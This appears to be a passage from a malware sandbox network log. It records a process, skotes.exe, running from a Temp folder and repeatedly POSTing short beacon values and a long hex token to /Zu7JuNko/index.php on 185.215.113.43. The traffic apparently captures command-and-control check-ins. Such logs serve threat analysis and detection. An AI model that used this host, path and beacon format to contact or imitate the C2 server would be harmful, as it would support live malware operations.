Dec 19, 2024 08:11:48.433465958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:11:49.773530960 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50220	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:51.409348011 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:52.879713058 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50221	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:54.639764071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:11:55.987335920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50222	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:57.622463942 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:59.063251019 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50223	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:00.808285952 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:02.139662027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50225	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:03.772691965 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:12:05.348849058 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50226	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:07.095071077 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:08.436659098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50227	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:10.077750921 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:12:11.415924072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50228	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:13.180233955 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:14.534393072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50235	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:16.170084953 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:12:17.519397974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50238	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:19.280565977 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:20.621296883 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50239	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:22.252938986 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:12:23.600358963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50240	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:25.353559017 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:26.688266993 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50241	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:28.314233065 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:12:30.087789059 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50243	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:31.839164019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:33.188143969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50244	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:34.939785957 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:12:36.179935932 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50245	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:37.928751945 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:39.259668112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50246	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:40.886630058 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:12:42.223779917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	50248	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:43.970539093 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:45.300932884 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	50249	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:46.932168007 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:12:48.283596992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	50250	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:50.034682035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:51.381565094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	50251	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:53.042351961 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:12:56.571469069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	50252	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:12:58.318525076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:12:59.648783922 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	50253	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:13:01.293908119 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
